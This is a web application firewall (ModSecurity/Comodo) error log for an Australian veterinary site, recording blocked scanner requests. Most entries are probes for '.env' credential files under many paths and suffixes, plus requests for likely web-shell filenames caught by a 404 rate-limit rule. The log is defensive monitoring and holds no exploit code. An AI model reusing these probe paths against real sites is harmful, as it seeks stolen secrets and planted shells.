[Sat May 23 00:40:35.063739 2026] [:error] [pid 15584:tid 15634] [client 13.48.133.49:41620] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.swp"] [unique_id "ahCHA99Z_TVLbNEx52hccwAAAE4"]
[Sat May 23 00:40:36.122409 2026] [:error] [pid 15679:tid 15699] [client 13.48.133.49:41634] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env~"] [unique_id "ahCHBCh8tgGc38WJ-GydoAAAANI"]
[Sat May 23 00:40:37.211754 2026] [:error] [pid 58813:tid 58825] [client 13.48.133.49:57304] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env1"] [unique_id "ahCHBZ6yyKWDKULhxJ2sdgAAAUk"]
[Sat May 23 00:40:38.267915 2026] [:error] [pid 15584:tid 15629] [client 13.48.133.49:57318] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env2"] [unique_id "ahCHBt9Z_TVLbNEx52hcdAAAAEk"]
[Sat May 23 00:40:39.313903 2026] [:error] [pid 58782:tid 58796] [client 13.48.133.49:57322] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env_copy"] [unique_id "ahCHB4xsdTFafgO8vhRHqgAAAQw"]
[Sat May 23 00:40:41.838265 2026] [:error] [pid 15584:tid 15624] [client 13.48.133.49:57332] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.json"] [unique_id "ahCHCd9Z_TVLbNEx52hceQAAAEQ"]
[Sat May 23 00:40:42.899696 2026] [:error] [pid 15584:tid 15620] [client 13.48.133.49:57342] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.yaml"] [unique_id "ahCHCt9Z_TVLbNEx52hcfAAAAEA"]
[Sat May 23 00:40:43.951463 2026] [:error] [pid 15679:tid 15686] [client 13.48.133.49:57344] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.yml"] [unique_id "ahCHCyh8tgGc38WJ-GydqgAAAMU"]
[Sat May 23 00:40:45.000015 2026] [:error] [pid 15679:tid 15681] [client 13.48.133.49:57346] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.env"] [unique_id "ahCHDCh8tgGc38WJ-GydrgAAAMA"]
[Sat May 23 00:40:46.050332 2026] [:error] [pid 15679:tid 15699] [client 13.48.133.49:57358] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/apps/.env"] [unique_id "ahCHDih8tgGc38WJ-GydsQAAANI"]
[Sat May 23 00:40:47.113587 2026] [:error] [pid 58813:tid 58816] [client 13.48.133.49:36152] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/.env"] [unique_id "ahCHD56yyKWDKULhxJ2seQAAAUA"]
[Sat May 23 00:40:48.177135 2026] [:error] [pid 15584:tid 15626] [client 13.48.133.49:36158] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/web/.env"] [unique_id "ahCHEN9Z_TVLbNEx52hchwAAAEY"]
[Sat May 23 00:40:49.221954 2026] [:error] [pid 58782:tid 58799] [client 13.48.133.49:36160] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/site/.env"] [unique_id "ahCHEYxsdTFafgO8vhRHrQAAAQ8"]
[Sat May 23 00:40:50.282923 2026] [:error] [pid 58782:tid 58808] [client 13.48.133.49:36176] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/public/.env"] [unique_id "ahCHEoxsdTFafgO8vhRHsAAAARg"]
[Sat May 23 00:40:51.347097 2026] [:error] [pid 15585:tid 15670] [client 13.48.133.49:36186] [client 13.48.133.49] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/admin/.env"] [unique_id "ahCHEyKb-vB41AF-LC3BFAAAAJc"]
[Sat May 23 06:12:22.785231 2026] [:error] [pid 31039:tid 31044] [client 170.106.152.218:57986] [client 170.106.152.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahDUxqIYDYo8WvA5zLJfggAAAMM"]
[Sat May 23 10:35:24.303294 2026] [:error] [pid 30940:tid 30966] [client 43.128.87.4:47402] [client 43.128.87.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ahESbJqUP2XZmzp7RDqmAwAAABE"]
[Sat May 23 14:44:33.154321 2026] [:error] [pid 31039:tid 31045] [client 162.14.66.219:59506] [client 162.14.66.219] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ahFM0aIYDYo8WvA5zLL4MwAAAMQ"]
[Sat May 23 15:33:58.363764 2026] [:error] [pid 30942:tid 31009] [client 132.196.65.22:7884] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-link-snpm.php"] [unique_id "ahFYZtUosz64YFiBlG1CPAAAAIY"]
[Sat May 23 15:33:58.739931 2026] [:error] [pid 30942:tid 31023] [client 132.196.65.22:7892] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-link-snpm.php"] [unique_id "ahFYZtUosz64YFiBlG1CPgAAAJQ"]
[Sat May 23 15:33:59.120886 2026] [:error] [pid 25876:tid 25898] [client 132.196.65.22:7990] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-link-snpm.php"] [unique_id "ahFYZwSpWUCKPezIBJBjdAAAARQ"]
[Sat May 23 15:33:59.500227 2026] [:error] [pid 25876:tid 25888] [client 132.196.65.22:7945] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-link-snpm.php"] [unique_id "ahFYZwSpWUCKPezIBJBjdwAAAQo"]
[Sat May 23 15:33:59.896871 2026] [:error] [pid 25876:tid 25893] [client 132.196.65.22:7936] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xminie.php"] [unique_id "ahFYZwSpWUCKPezIBJBjfAAAAQ8"]
[Sat May 23 15:34:00.297639 2026] [:error] [pid 25876:tid 25882] [client 132.196.65.22:7881] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xminie.php"] [unique_id "ahFYaASpWUCKPezIBJBjfQAAAQQ"]
[Sat May 23 15:34:00.672576 2026] [:error] [pid 30942:tid 31012] [client 132.196.65.22:7882] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xminie.php"] [unique_id "ahFYaNUosz64YFiBlG1CQAAAAIk"]
[Sat May 23 15:34:01.095667 2026] [:error] [pid 30940:tid 30954] [client 132.196.65.22:7982] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xminie.php"] [unique_id "ahFYaZqUP2XZmzp7RDrhZAAAAAU"]
[Sat May 23 15:34:01.536197 2026] [:error] [pid 25876:tid 25902] [client 132.196.65.22:7984] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "ahFYaQSpWUCKPezIBJBjgAAAARg"]
[Sat May 23 15:34:01.946062 2026] [:error] [pid 25876:tid 25881] [client 132.196.65.22:7898] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "ahFYaQSpWUCKPezIBJBjgQAAAQM"]
[Sat May 23 15:34:02.322316 2026] [:error] [pid 31039:tid 31055] [client 132.196.65.22:7994] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "ahFYaqIYDYo8WvA5zLIKowAAAM4"]
[Sat May 23 15:34:02.703688 2026] [:error] [pid 30941:tid 30985] [client 132.196.65.22:7962] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aaa.php"] [unique_id "ahFYanTIgjSDhiZmvlWP2QAAAEk"]
[Sat May 23 15:34:03.088583 2026] [:error] [pid 30942:tid 31015] [client 132.196.65.22:7997] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "ahFYa9Uosz64YFiBlG1CQQAAAIw"]
[Sat May 23 15:34:03.471758 2026] [:error] [pid 30941:tid 30978] [client 132.196.65.22:7975] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "ahFYa3TIgjSDhiZmvlWP2gAAAEI"]
[Sat May 23 15:34:03.863289 2026] [:error] [pid 31039:tid 31046] [client 132.196.65.22:7949] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "ahFYa6IYDYo8WvA5zLIKpQAAAMU"]
[Sat May 23 15:34:04.238799 2026] [:error] [pid 25876:tid 25896] [client 132.196.65.22:7985] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "ahFYbASpWUCKPezIBJBjiwAAARI"]
[Sat May 23 15:34:04.616673 2026] [:error] [pid 25876:tid 25886] [client 132.196.65.22:7947] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws81.php"] [unique_id "ahFYbASpWUCKPezIBJBjjQAAAQg"]
[Sat May 23 15:34:05.017925 2026] [:error] [pid 30942:tid 31020] [client 132.196.65.22:7979] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws81.php"] [unique_id "ahFYbdUosz64YFiBlG1CRQAAAJE"]
[Sat May 23 15:34:05.392185 2026] [:error] [pid 25876:tid 25891] [client 132.196.65.22:7954] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws81.php"] [unique_id "ahFYbQSpWUCKPezIBJBjjwAAAQ0"]
[Sat May 23 15:34:05.768007 2026] [:error] [pid 25876:tid 25901] [client 132.196.65.22:7887] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws81.php"] [unique_id "ahFYbQSpWUCKPezIBJBjkQAAARc"]
[Sat May 23 15:34:06.182599 2026] [:error] [pid 25876:tid 25880] [client 132.196.65.22:7971] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/drykl.php"] [unique_id "ahFYbgSpWUCKPezIBJBjkwAAAQI"]
[Sat May 23 15:34:06.570839 2026] [:error] [pid 30940:tid 30964] [client 132.196.65.22:7959] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/drykl.php"] [unique_id "ahFYbpqUP2XZmzp7RDrhZgAAAA8"]
[Sat May 23 15:34:06.946439 2026] [:error] [pid 25876:tid 25878] [client 132.196.65.22:7953] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/drykl.php"] [unique_id "ahFYbgSpWUCKPezIBJBjmAAAAQA"]
[Sat May 23 15:34:07.339766 2026] [:error] [pid 25876:tid 25900] [client 132.196.65.22:7875] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/drykl.php"] [unique_id "ahFYbwSpWUCKPezIBJBjmQAAARY"]
[Sat May 23 15:34:07.717401 2026] [:error] [pid 25876:tid 25881] [client 132.196.65.22:7957] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "ahFYbwSpWUCKPezIBJBjmgAAAQM"]
[Sat May 23 15:34:08.104868 2026] [:error] [pid 25876:tid 25897] [client 132.196.65.22:7896] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "ahFYcASpWUCKPezIBJBjnAAAARM"]
[Sat May 23 15:34:08.564638 2026] [:error] [pid 25876:tid 25882] [client 132.196.65.22:7683] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "ahFYcASpWUCKPezIBJBjnQAAAQQ"]
[Sat May 23 15:34:08.970543 2026] [:error] [pid 30942:tid 31023] [client 132.196.65.22:7972] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "ahFYcNUosz64YFiBlG1CSgAAAJQ"]
[Sat May 23 15:34:09.361438 2026] [:error] [pid 30940:tid 30961] [client 132.196.65.22:7891] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "ahFYcZqUP2XZmzp7RDrhaQAAAAw"]
[Sat May 23 15:34:09.744141 2026] [:error] [pid 25876:tid 25898] [client 132.196.65.22:7981] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "ahFYcQSpWUCKPezIBJBjoAAAARQ"]
[Sat May 23 15:34:10.124815 2026] [:error] [pid 25876:tid 25878] [client 132.196.65.22:7702] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "ahFYcgSpWUCKPezIBJBjoQAAAQA"]
[Sat May 23 15:34:10.550511 2026] [:error] [pid 30940:tid 30969] [client 132.196.65.22:7993] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "ahFYcpqUP2XZmzp7RDrhbAAAABQ"]
[Sat May 23 15:34:11.067184 2026] [:error] [pid 25876:tid 25884] [client 132.196.65.22:7935] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/77.php"] [unique_id "ahFYcwSpWUCKPezIBJBjpgAAAQY"]
[Sat May 23 15:34:11.502670 2026] [:error] [pid 25876:tid 25901] [client 132.196.65.22:7960] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/77.php"] [unique_id "ahFYcwSpWUCKPezIBJBjqAAAARc"]
[Sat May 23 15:34:11.893509 2026] [:error] [pid 25876:tid 25898] [client 132.196.65.22:7900] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/77.php"] [unique_id "ahFYcwSpWUCKPezIBJBjqwAAARQ"]
[Sat May 23 15:34:12.289061 2026] [:error] [pid 31039:tid 31064] [client 132.196.65.22:7986] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/77.php"] [unique_id "ahFYdKIYDYo8WvA5zLIKqgAAANc"]
[Sat May 23 15:34:12.706813 2026] [:error] [pid 25876:tid 25879] [client 132.196.65.22:7877] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x402.php"] [unique_id "ahFYdASpWUCKPezIBJBjsAAAAQE"]
[Sat May 23 15:34:13.114563 2026] [:error] [pid 30940:tid 30954] [client 132.196.65.22:7873] [client 132.196.65.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x402.php"] [unique_id "ahFYdZqUP2XZmzp7RDrhbgAAAAU"]
